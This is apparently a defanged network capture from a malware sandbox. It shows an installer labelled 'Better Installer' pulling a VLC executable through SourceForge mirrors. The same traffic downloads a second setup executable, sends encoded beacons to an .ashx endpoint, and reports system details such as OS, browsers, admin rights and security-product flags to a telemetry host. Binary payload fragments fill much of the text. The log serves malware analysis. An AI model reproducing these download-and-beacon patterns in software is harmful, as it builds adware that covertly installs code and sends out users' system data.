c...@T._Z......|.qI..l..mx..........v%..6@^...........e...AR6C5.R..2..
.fnwi.B.~<.n..y...\....6|\.... ...\ZD.......L.h...^.a......w...b...
n.g.h@LY..*...00pc......,b...E...(.N.......Z...,...CE.Q?.f.;br....n..D
W..k...R.....g......,......3{..J..4......o...fg........4a..3S/..Ei....
.N.q?...#Z5.7b?..My5.<r...2..........b...!...l..r.W.Vgp..p..(...[..
70..I)*z~........@. b..V......k.9.?...E.%..O.]x5<...]...X..kW...3x.
Y|_.E...!......`.].... ,4._........._ZJ..n..$...N&.....1I.9'...g.,..I$
.....\.l.4B.3A..?..<x#...F.4@!.E...._3o.A....'..y.PU.....c.p... ...
...4\.-#..35V.t.U8nSK...........#t.b....[.X@3* .p.box.xJ.\Z....... ..w
...... ....6.MJ..2..>M_H.T...&....<......../..B.UHm.....l.gC.y..
.........nn.1..0...7~.|....NR....v....x.O4K...o.t..v.<w......J.4...
.....G......Ach...V.gfE..P._..DT.^ ./.E].......N..{.e.....9.......UY.h
..v=..X]....C.--...:o&....Zv..[f.At..I1.......3%.....4b...m...M...G(.2
.iMq...J.|...}#CC...W.0k..z9....b.=^..].^..<.C.0...EpY$.Q7n.....\.&
.^y?....L....cw...>!....REI\...?O...O..7.....dP...{...U..6y.c`.
<<< skipped >>>


GET / HTTP/1.1
Host: VVV.google.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=7no9VY2BNofDNOipgJgH
Content-Length: 260
Date: Sun, 26 Apr 2015 23:55:26 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic,p=1
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=7no9VY2BNofD
NOipgJgH">here</A>...</BODY></HTML>..HTTP/1.1 302
 Found..Cache-Control: private..Content-Type: text/html; charset=UTF-8
..Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=7no9VY2BNofDNOipgJg
H..Content-Length: 260..Date: Sun, 26 Apr 2015 23:55:26 GMT..Server: G
FE/2.0..Alternate-Protocol: 80:quic,p=1..<HTML><HEAD><m
eta http-equiv="content-type" content="text/html;charset=utf-8">.&l
t;TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>
302 Moved</H1>.The document has moved.<A HREF="hXXp://VVV.goo
gle.com.ua/?gfe_rd=cr&ei=7no9VY2BNofDNOipgJgH">here</A>..
.</BODY></HTML>....



GET /24100.ashx?e=VUrHHbcUIneQVExL/6LI8P/KgNerKaIX1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QQyKVonWFV7RD5Sh2iPx4Tl/DvTHZIAKtATxIUcsgQ wusjSmD/os8shJkdH5jOhAHvojBYZTAl2SDGL01oIa7jD3Psqw12eBUNQkrQodbn4W0C6B oLg2/kIgqoM4zGjB6RUS1Mgh81BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLuMJy0xIEki/R/TArjXZXIKNewYKwONFevRrV2mGBDo3Vd0xgaUB0loXwql6nKegU HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:48 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=VUrHHbcUIneQVExL/6LI8P/KgNerKaIX1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QQyKVonWFV7R3IlxQB6eB5S9R7UpgWEByNCUHeR8YCF3Mlt I6v8YQuU2F4Ptf8DU8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfaigjpo/Wl0XzNTdusp42ndLfJgS8eEQj7U33Y6AxWwvYQ3fvue/Bfs= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /24100.ashx?e=VUrHHbcUIneQVExL/6LI8P/KgNerKaIX1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QQyKVonWFV7R3IlxQB6eB5S9R7UpgWEByNCUHeR8YCF3TCM72XKEiy8qCttwK9rPhasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tThrYBjwSzYitUsLGKD6Do/7W1wxfBEZJmYqiCKba42bFhfwz3TI3iY3ny9jMBZWjQ= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /24100.ashx?e=lOCrbsNL2zULjT49fHfOTDKJmnwOrZTU/WD6e6SZIIExLHUkaU0662DlNcv2CDURJiqKuNvZz53hWEHT4V7a82gLGOyTJz65ec4sn4fRJ3oCkMHcaKOj nwF8xC533Fcga zuhV9q9HNs/H29GLJ7JreFwgDnyxonbJKYwPfuhCWcSucRpHa5xQC drCF7eFc68xQtOPoFcFfPSYE 0SF1DMfUzQW5pE6mGpgNgD2i8pXxCtf27dK2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSkbnBUf4hjmaodvdvSfmjF3OHEUgBcRHp1Uj/h0sIE7gHSUdz8E8ouo= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /24100.ashx?e=rU8wGwYGlBSBXOBJ2d DUa2YJYm/Cw9PQF3UKsSdb2sRoGJKEMpEhX5dMiu8MPG0jRWOlrNcG0Oh
HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:55 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /28070.ashx?e=hNMAVKhukrxAU1hGZSx JO6IQh7Ozogo7OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDdzcx c lY2ey4btG OZIk/c453xw7zJVfqR4rzu9tChRWoLVpCM9iEsfUYUM0LESxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:55 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /5852.ashx?e=G4i9JF3YhSaBXOBJ2d DUUDK0sckRQdKQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMa6gU8td2K6CG4xOauimAJ559eFhsT1abeQqykZerlmJWOBvq/txek 4iYlmtiSGZOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:59 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:59 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /5852.ashx?e=A3ANzFv7fWCOxiYYmXRGYMIr4n93Nx1RHf8DSQwQy2Z4E7mrr1h80riKIFo3W8f23Wq7IsWCDz5T9dv2jJfMemiZCCrzprTQ2/M8jJQIzSfeAVcyDPrG1hQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXrErQ9Bnn0aGJ1SOy2ptktldYy53gQNwTDonyp8O4pJozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbc3zGts4CU58= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:56:03 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:56:03 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=17184493-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: cdn.mirror.garr.it


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Content-Type: text/html
Location: hXXp://downloads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 160
Accept-Ranges: bytes
Date: Sun, 26 Apr 2015 23:54:55 GMT
X-Varnish: 1562192574 1561478658
Age: 19440
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>..HTTP/1.1 302 Moved Temporarily
..Server: nginx/1.8.0..Content-Type: text/html..Location: hXXp://downl
oads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe..Cont
ent-Length: 160..Accept-Ranges: bytes..Date: Sun, 26 Apr 2015 23:54:55
 GMT..X-Varnish: 1562192574 1561478658..Age: 19440..Via: 1.1 varnish..
Connection: keep-alive..X-Cache: HIT..<html>..<head><ti
tle>302 Found</title></head>..<body bgcolor="white"&
gt;..<center><h1>302 Found</h1></center>..<
hr><center>nginx/1.8.0</center>..</body>..</ht
ml>....



GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: dreejadsuld8c.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/jpeg
Content-Length: 3430
Connection: keep-alive
Server: nginx
Date: Sun, 26 Apr 2015 04:56:13 GMT
Last-Modified: Tue, 14 Apr 2015 08:31:54 GMT
ETag: "552cd07a-d66"
Expires: Sun, 26 Apr 2015 05:06:13 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
X-Cache: RefreshHit from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 2jRFy4qHIhl6NVuoAMm4L7Ke7KeT-9DWSQqgdiXYMBB1Bi_0v-2gUA==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w..... }
[email protected][email protected]....]..l....]....=... }w..
... }[email protected][email protected]....]..l....]....=...
 }w..... }[email protected][email protected]....]..l....]...
.=... }w..... }[email protected][email protected]....]..l...
.]....=... }w..... }[email protected][email protected]....].
.l....]....=... }w..... }[email protected][email protected].
...]..l....]....=... }w..... }[email protected][email protected].
...l....]..l....]....=... }w..... }[email protected]..................
<<< skipped >>>


GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=17184493-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: downloads.sourceforge.net


HTTP/1.1 302 Found
Server: nginx
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
content-disposition: attachment; filename="vlc-2.0.4-win32.exe"
Set-Cookie: sf_mirror_attempt="vlc:heanet:2.0.4/win32/vlc-2.0.4-win32.exe"; expires=120; Path=/
Location: hXXp://heanet.dl.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 156
302 Found..The resource was found at hXXp://heanet.dl.sourceforge.net/
project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe; you should be redirected 
automatically.  ..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1286329
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 17 Apr 2015 05:33:23 GMT
Content-Range: bytes 0-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 4Ow0t3vGHVAXe3Kfea-qer1V9QzCUc19bo4NKAOqw0Lz8OVrQIX4JQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=482374-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache



NWx...O...5`F..;0Q..u>....P.#..d.......]Fy.q.re.."|.i?^?...r)9.....
.,.l...c...Vf.%.<.cGE.ZW....^.)......t86...)..q......S.pt?...m....@
...8..~...6..X<.  ./..X....8.}../.....p*.......sK..6...-..8e...."rZ
..N_76.. ....36"....N.-..h...O*N$.......{.*.....?...=.....zp..}.6f.=..
Q:g..^.C...0c..s"=....-A.y.k.<..aI.Y.C..w..6..>.Vf..O.[...N.dA..
..6.....t.#..~...".L.j..".Z.&PA...~ky......L....)ns...x.]}..5D...t3...
...O...).^.g..J...I.}...d.`..`H8c..#A.4..y...t.....0...e.nU...9:..N.P.
[email protected]~.....7....`..?b..r....j.{.... .C!$....X.C....e..W.;...N6..
f.b......&../...g...cWm?k.....^e...U$....}.>........Zz..e#51..n#.%N
}....Y...'4v....-w.u..._>.....q..........T...cX....2.(.C......6....
.P....!F._.Q.1.uR.p........V1....D.2.......8.(..q...|F!CK..i}..lU.....
...K.....7..}a..>.V.=..|.jw7Sf...X.rZ]....$..aj.1.U...\kh)...... 3K
...../5....S.....).x..%..\.T..@cHQ.&...^.%k....[.../r.au...MJ.Z.....Y(
....j(...i.....1....x.k.:.i......@....)w..A....5QW=.w?.a..QK....'.K..A
.....p./:n.#.....pw..S.p....2j]F.6[.}.v.O.....y....{ .:.u.....b...\..'
...`..S*.N.?..o.Z2.....O1...~G.p.t.Wu|..T&p.'[email protected]..]...M..0/...
..Wc...>?W..........y1....?,.1.6 ..TN.... ...{....|..........#.ot.p
y....thd..ex..DF......Rb.p..I.>.U.y.g..ay..b.M...S.e.Ug.z..>.j.f
%..............V/kn.P..Y.>.,..h ^..2.l-...~Y.8..h.........L...@....
......x4e.....l...F......:...l<..........'....."..U..GW..a...}.5.~.
....B...A.B.[.~o..(.....sI......a:.Z?..[....... ..i.........wZ..&Y...,
.U[.3...>.u.x../2..O..-..(M..*<F}..9x............*2xp../.h..
<<< skipped >>>


GET /utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1430092564 HTTP/1.1
Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: rLeAmG32 9ApUWZT0LA/xnGAOR//NEg6sqkvTvNDE5/hwXHw8o3BZK3cUXzDobCV
x-amz-request-id: 4A3BF231EDD8E3A7
Date: Sun, 26 Apr 2015 23:56:07 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: rLeAmG
32 9ApUWZT0LA/xnGAOR//NEg6sqkvTvNDE5/hwXHw8o3BZK3cUXzDobCV..x-amz-requ
est-id: 4A3BF231EDD8E3A7..Date: Sun, 26 Apr 2015 23:56:07 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0E91D55389BA4CD39C087C48E624576FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF6dHNtdHljMCxhYTE2YmFlMi05ZjQyLTQxMDAtYmI0ZC01OWRmZmNiNTFhYjEsIiwidW5xIjoiYWExNmJhZTItOWY0Mi00MTAwLWJiNGQtNTlkZmZjYjUxYWIxIn19&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430092564&procruntime=3&rnd=1430092567 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 7Nunf0sqfFphEmkvduQsrUPIpwOf/j7kQdyPOemc2rqdA9YAmhl6MX4AKhML06VU
x-amz-request-id: CCABC9D0DF312CB9
Date: Sun, 26 Apr 2015 23:56:09 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:40 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 7Nunf0
sqfFphEmkvduQsrUPIpwOf/j7kQdyPOemc2rqdA9YAmhl6MX4AKhML06VU..x-amz-requ
est-id: CCABC9D0DF312CB9..Date: Sun, 26 Apr 2015 23:56:09 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:40 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1430092567 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: j1Bmd4ZO 9zf/fCr9rEDb1skXd9yQ HuLQyRnLVjDS98pNc6vp99rTJFFTtbW Vc
x-amz-request-id: 06EEB82AD7B986F7
Date: Sun, 26 Apr 2015 23:56:10 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1430092567 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: k2fC1yeA 3VORljDa2xyLkMdpqoKYjEpTt1wKSp8b2YtjIG62g8M99ps1f1WtpFB
x-amz-request-id: 5DC6AFD5B52142B6
Date: Sun, 26 Apr 2015 23:56:10 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: k2fC1y
eA 3VORljDa2xyLkMdpqoKYjEpTt1wKSp8b2YtjIG62g8M99ps1f1WtpFB..x-amz-requ
est-id: 5DC6AFD5B52142B6..Date: Sun, 26 Apr 2015 23:56:10 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1430092568 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: K17FlVpZBNE7jrdIm8il94HMzqjfUuQB461/4qDwj/Ny9iQFmtFKeku523OSvgdX
x-amz-request-id: F1AE47C96AB68486
Date: Sun, 26 Apr 2015 23:56:11 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: K17FlV
pZBNE7jrdIm8il94HMzqjfUuQB461/4qDwj/Ny9iQFmtFKeku523OSvgdX..x-amz-requ
est-id: F1AE47C96AB68486..Date: Sun, 26 Apr 2015 23:56:11 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1430092569 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: jcu0l9/MCpm7LKILfvxSVyCzgclvbfxpqJKKKpEsClnFyOmfl207Sh VyVO7b6qF
x-amz-request-id: 74FED27B863ADD86
Date: Sun, 26 Apr 2015 23:56:11 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1430092569 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: bXRIVfPgAcYl8OCGIR2EVr1kK0Y1aGIQn4keT4ydJBS23TV2R6BFICajQaJvVfgl
x-amz-request-id: AD1FE45B69DE4A15
Date: Sun, 26 Apr 2015 23:56:11 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1430092569 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: TniM1hwX3PNZ3r2Z3bhPhjIxJWfFWUeNffGGz7X61Vehy2cX0xEQsDRV359YbWhD
x-amz-request-id: 5A9D00CA20D4A042
Date: Sun, 26 Apr 2015 23:56:12 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1430092569 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 35Pj3eoqbXlW 71aOW0X6jsPCw5Vs9AM7TPk57mZrtwuou5lQ34mzAYx3GQvqI59
x-amz-request-id: 48872D4D9E2A6C5B
Date: Sun, 26 Apr 2015 23:56:12 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1430092569 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: LKz kpQxU4Q1tHLohssQwibFzh/JSc3Q5Qt3fLy7R Anc86iqXzi5WW ttMnbU2q
x-amz-request-id: 304DB6AED146E019
Date: Sun, 26 Apr 2015 23:56:12 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
